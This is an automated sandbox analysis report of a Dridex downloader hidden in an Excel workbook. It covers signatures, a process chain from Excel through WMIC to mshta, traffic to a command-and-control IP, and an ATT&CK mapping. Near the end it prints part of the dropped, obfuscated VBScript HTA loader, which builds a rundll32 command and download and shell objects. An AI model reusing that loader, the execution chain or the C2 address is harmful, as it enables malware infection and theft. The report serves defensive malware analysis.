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Windows Analysis Report Sale-8799306.xlsb

Overview

General Information

Sample Name:	Sale-8799306.xlsb
Analysis ID:	528366
MD5:	48a10cd89790785f31ebcfc2e1c96ee3
SHA1:	bea251b714aefa43254dd9b252aeb04baf126041
SHA256:	14ee8fe1b5df73dac77e228d5799595799cd07d9d0ed4ecb61247353d8241f72
Tags:	Dridexxlsbxlsx
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0 Dridex Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Dridex Downloader

Multi AV Scanner detection for submitted file

Found malicious Excel 4.0 Macro

Creates and opens a fake document (probably a fake document to hide exploiting)

Found Excel 4.0 Macro with suspicious formulas

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Creates processes via WMI

Document exploit detected (UrlDownloadToFile)

Found protected and hidden Excel 4.0 Macro sheet

Contains functionality to create processes via WMI

Found obfuscated Excel 4.0 Macro

Queries the volume information (name, serial number etc) of a device

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

May sleep (evasive loops) to hinder dynamic analysis

Yara detected Xls With Macro 4.0

Detected TCP or UDP traffic on non-standard ports

Sigma detected: Suspicious WMI Execution

Creates a window with clipboard capturing capabilities

IP address seen in connection with other malware

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2652 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

WMIC.exe (PID: 2832 cmdline: wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf" MD5: FD902835DEAEF4091799287736F3A028)

mshta.exe (PID: 1320 cmdline: mshta C:\ProgramData\CjBEfxIRZH.rtf MD5: 95828D670CFD3B16EE188168E083C3C5)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
app.xml	JoeSecurity_XlsWithMacro4	Yara detected Xls With Macro 4.0	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\CjBEfxIRZH.rtf	JoeSecurity_DridexDownloader	Yara detected Dridex Downloader	Joe Security

Sigma Overview

System Summary:

Sigma detected: Microsoft Office Product Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2652, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf", ProcessId: 2832

Sigma detected: Suspicious WMI Execution

Show sources

Source: Process started

Author: Michael Haag, Florian Roth, juju4, oscd.community: Data: Command: wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf", CommandLine: wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf", CommandLine|base64offset|contains: h, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ParentProcessId: 2652, ProcessCommandLine: wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf", ProcessId: 2832

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: Sale-8799306.xlsb

Virustotal: Detection: 9%

Perma Link

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\wbem\WMIC.exe

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 136.144.181.174:8080

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 136.144.181.174:8080

Source: Joe Sandbox View

IP Address: 136.144.181.174 136.144.181.174

Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174
Source: unknown	TCP traffic detected without corresponding DNS query: 136.144.181.174

Source: mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: mshta.exe, 00000005.00000002.660948514.0000000004020000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: WMIC.exe, 00000002.00000002.444141193.0000000001AA0000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: mshta.exe, 00000005.00000002.660948514.0000000004020000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\55A75020.png

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

E-Banking Fraud:

Yara detected Dridex Downloader

Show sources

Source: Yara match

File source: C:\ProgramData\CjBEfxIRZH.rtf, type: DROPPED

System Summary:

Found malicious Excel 4.0 Macro

Show sources

Source: Sale-8799306.xlsb

Macro extractor: Sheet: Macro1 contains: urlmon

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: Sale-8799306.xlsb

Initial sample: EXEC

Found protected and hidden Excel 4.0 Macro sheet

Show sources

Source: Sale-8799306.xlsb

Initial sample: Sheet name: Macro1

Contains functionality to create processes via WMI

Show sources

Source: WMIC.exe, 00000002.00000002.444038183.0000000000160000.00000004.00000020.sdmp

Binary or memory string: C:\Users\user\Documents\C:\Windows\System32\Wbem;;C:\Windows\system32;C:\Windows\system;C:\Windows;.;C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\C:\Windows\System32\Wbem\wmic.exewmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf"C:\Windows\System32\Wbem\wmic.exeWinSta0\Default

Found obfuscated Excel 4.0 Macro

Show sources

Source: Sale-8799306.xlsb

Macro extractor: Sheet: Macro1 high usage of CHAR() function: 58

Source: Sale-8799306.xlsb

Macro extractor: Sheet name: Macro1

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: Sale-8799306.xlsb

Virustotal: Detection: 9%

Source: C:\Windows\System32\wbem\WMIC.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf"
Source: unknown	Process created: C:\Windows\System32\mshta.exe mshta C:\ProgramData\CjBEfxIRZH.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process call create "mshta C:\ProgramData\CjBEfxIRZH.rtf"	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Source: mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Sale-8799306.xlsb

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRCD0E.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSB@4/4@0/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Sale-8799306.xlsb	Initial sample: OLE zip file path = xl/media/image2.png
Source: Sale-8799306.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: Sale-8799306.xlsb	Initial sample: OLE zip file path = docProps/custom.xml

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Persistence and Installation Behavior:

Creates processes via WMI

Show sources

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

Creates and opens a fake document (probably a fake document to hide exploiting)

Show sources

Source: unknown	Process created: cmd line: cjbefxirzh.rtf
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: cmd line: cjbefxirzh.rtf			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe TID: 2412	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2224	Thread sleep time: -60000s >= -30000s			Jump to behavior

Source: Yara match

File source: app.xml, type: SAMPLE

Source: mshta.exe, 00000005.00000002.660266814.0000000001610000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: mshta.exe, 00000005.00000002.660266814.0000000001610000.00000002.00020000.sdmp	Binary or memory string: !Progman
Source: mshta.exe, 00000005.00000002.660266814.0000000001610000.00000002.00020000.sdmp	Binary or memory string: Program Manager<

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation			Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation			Jump to behavior

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation21	Path Interception	Process Injection2	Masquerading1	OS Credential Dumping	Virtualization/Sandbox Evasion1	Remote Services	Email Collection1	Exfiltration Over Other Network Medium	Non-Standard Port1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting4	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution31	Logon Script (Windows)	Logon Script (Windows)	Process Injection2	Security Account Manager	File and Directory Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting4	NTDS	System Information Discovery15	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Sale-8799306.xlsb	10%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.%s.comPA	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	false		high
http://www.windows.com/pctv.	mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	false		high
http://investor.msn.com	mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	false		high
http://www.%s.comPA	mshta.exe, 00000005.00000002.660948514.0000000004020000.00000002.00020000.sdmp	false	URL Reputation: safe	low
http://www.icra.org/vocabulary/.	mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	mshta.exe, 00000005.00000002.660948514.0000000004020000.00000002.00020000.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	mshta.exe, 00000005.00000002.660796365.0000000003BD7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://www.hotmail.com/oe	mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	false		high
http://servername/isapibackend.dll	WMIC.exe, 00000002.00000002.444141193.0000000001AA0000.00000002.00020000.sdmp	false	Avira URL Cloud: safe	low
http://investor.msn.com/	mshta.exe, 00000005.00000002.660649700.00000000039F0000.00000002.00020000.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
136.144.181.174	unknown	Netherlands		20857	TRANSIP-ASAmsterdamtheNetherlandsNL	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	528366
Start date:	25.11.2021
Start time:	06:25:37
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Sale-8799306.xlsb
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSB@4/4@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsb Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active AutoShape Object Active Picture Object Active Picture Object Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:27:35	API Interceptor	11x Sleep call for process: WMIC.exe modified
06:27:36	API Interceptor	457x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
136.144.181.174	03332955311591163552.xlsb	Get hash	malicious	Browse
	license517502.xlsb	Get hash	malicious	Browse
	03332955311591163552.xlsb	Get hash	malicious	Browse
	license517502.xlsb	Get hash	malicious	Browse
	942830.xlsb	Get hash	malicious	Browse
	promo code83874071.xlsb	Get hash	malicious	Browse
	promo code83874071.xlsb	Get hash	malicious	Browse
	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	vote number3210109.xlsb	Get hash	malicious	Browse
	tax77567960.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	hunting license-25331.xlsb	Get hash	malicious	Browse
	subscription-84799.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	8993268.xlsb	Get hash	malicious	Browse
	promo 2352017.xlsb	Get hash	malicious	Browse
	Offer 373466695.xlsb	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TRANSIP-ASAmsterdamtheNetherlandsNL	03332955311591163552.xlsb	Get hash	malicious	Browse	136.144.181.174
	license517502.xlsb	Get hash	malicious	Browse	136.144.181.174
	03332955311591163552.xlsb	Get hash	malicious	Browse	136.144.181.174
	license517502.xlsb	Get hash	malicious	Browse	136.144.181.174
	942830.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo code83874071.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo code83874071.xlsb	Get hash	malicious	Browse	136.144.181.174
	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
	vote number3210109.xlsb	Get hash	malicious	Browse	136.144.181.174
	tax77567960.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	hunting license-25331.xlsb	Get hash	malicious	Browse	136.144.181.174
	subscription-84799.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	8993268.xlsb	Get hash	malicious	Browse	136.144.181.174
	promo 2352017.xlsb	Get hash	malicious	Browse	136.144.181.174
	Offer 373466695.xlsb	Get hash	malicious	Browse	136.144.181.174

JA3 Fingerprints

No context

Dropped Files

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Created / dropped Files

C:\ProgramData\CjBEfxIRZH.rtf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	4740
Entropy (8bit):	5.0867190835957645
Encrypted:	false
SSDEEP:	96:8nYFjL2K+uwyUxis2YpY5odxxDyHfpl4I+KBB3:8nYFjL2K+u+osfhxob4IZBB3
MD5:	1D00A0BA4888BC1436F1BC9EA0B5E2F8
SHA1:	A306A36868D6FDD730E1009459F6DDADBE55229D
SHA-256:	A9F2171A7A232FFFF0FBA8512C7479EED718C839A1E0936F26BEB52A6F722741
SHA-512:	B7E2387BA7DBB7086D530653EB6654264199BE50BED7F88D0D722953EEB8E37055338EF3A67A4B049D6BAC65E3A05F9CCCCA66D91AE8BDCAA6AF328F90A75B76
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DridexDownloader, Description: Yara detected Dridex Downloader, Source: C:\ProgramData\CjBEfxIRZH.rtf, Author: Joe Security
Reputation:	low
Preview:	<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="ttrgnkrtegjtjgjerg"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MINIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">..<script type="text/vbscript" LANGUAGE="VBScript" >..s_U_w_o_s_g_X_b_m_O_t_V_W_A = "ru" & "ndl" & Chr(108+1-1) & "32" & ".ex" & "e " & "" & "" & "C:" & "" & Chr(92+1-1) & "\Pr" & "og" & "ra" & "" & "mD" & Chr(97+1-1) & "ta\" & "qy" & "xni" & Chr(103+1-1) & "ger" & Chr(46+1-1) & "bin" & " W" & Chr(115+1-1) & Chr(112+1-1) & "Fr" & "" & "ee" & Chr(83+1-1) & "" & "tri" & Chr(110+1-1) & Chr(103+1-1)..Set N_u_t_P_L_z_U_D_U_J_q_a_i_k = CreateObject("" & "MSX" & "" & "ML2" & Chr(46+1-1) & Chr(83+1-1) & "" & Chr(101+1-1) & "" & Chr(114+1-1) & Chr(118+1-1) & "er" & Chr(88+1-1) & Chr(77+1-1) & Chr(76+1-1) & "HT" & "TP" & ".6." & Chr(48+1-1))....U_p_E_s_j_U_w = "" & "" & "Wsc" & "ri" & Chr(112+1-1) & Chr(116+1-1) & ".S" & "hel" & "" & Chr(108+1-1)..Set r_S_A_N_M_B_e_g_F_o_E_b = CreateObject(U_p_E_s_j_U_w

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\55A75020.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 275 x 49, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2606
Entropy (8bit):	7.891909984788504
Encrypted:	false
SSDEEP:	48:TausXWVTts/Q6Jk9/k4TdbhxIEixdrN79Qe/138rVaFnyuGi4xHcyxS/nXn:TausXU5szI/XpYZpp/qr4UmE8B/nXn
MD5:	5DFFDD2FB65CF32169E7DD1D0EA78D9A
SHA1:	9D3AC86B74C7A5E203530509F630AE577178DD4C
SHA-256:	4C38C0E3A308F116C826D88F2B04C094DC5BC26936F621DE3169C8AB0E2C4AB0
SHA-512:	B604C65C8E19813DCA18BECC55478BF9C8359403D3C3CA2D0B00E15666F40398E5B0970B541CADDC2A96DD7BDD48B5A24FDCF317AFE8B8CC3241AE7B93A48B0D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......1.....v..f....IDATx..{PT...{wy.....E^>@..B.A..I.$6i..L.4j.G.I...h&.MF.16..c.iM.D."...K..F]@....X`a.W.8.nv...(.v~..3.{........3..>... .....A<..r...R.A.@.!..H9...). x ..........C.<.r...R.A.@.!..H9...). x ..........C.<.r....=.q...~q......ni6.g..yl.L.^/?r0..,.......M-...r../.......O.].....4.7:.@...b.......o\8...'..jtL.....w.z.w)[k.....(5VH_...1...^U{...W_......C.........r........#P.......K1.-...E..2.g.n.b..~=yx..A.._.n....s2T.[....._..=`...y8e..?...vEYI..k-.0.,.i....-....gN].!V....v........l..]).X.'r.+8.p...U..K`..O.{@ .&.%.2y.....\|.m.. ..zy..2...../Xw,.9.....P._.......H.......m..............6\...............UT.B........u..?[..D..3.....UkD.8(5...2..\|.......__>._....9.@^V&[..yY...^V..R.5.V..z......LI..bf...0p5.....fJ.#s...Q//...........k.A..EK.._..9hZ?/+...M.>m._.D.}..G....L. ..u..2..e....[..u.E@$.ik..\|.<..)xq. ......._..x}M.".:..\|.....xZz.OHJ..-. .T..nn,>...{.....Y..t.../......l......$queF.......#..J............v.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D68BD1A1.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 225 x 317, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23263
Entropy (8bit):	7.9518461176343935
Encrypted:	false
SSDEEP:	384:7BPzUfBYeljb/VAmN8JSEuPQeC2BnPn6W2Z53nSAPaWbkmB3o33uyNC5GeYRZ:tPiDbzNLo6CW2Z53SAPaWbpi3H
MD5:	EAD24DFF12A96B9755CAE3F750CE31F3
SHA1:	2B56BB5624033059718BBD82CE8859D02DB2F38C
SHA-256:	FE2624B6EC379802A875DFD63DA477C9E006597F17C3AE4FB20AB03D8C8320BF
SHA-512:	E348265B35247E87075F00544037592A05DDE6C61FF2C21BD1EA62EDEA82853F1E5F28BC176467382572EA50E2670EEE3A65A4B2430B5E79D902E177C8AA73B7
Malicious:	false
Reputation:	moderate, very likely benign file
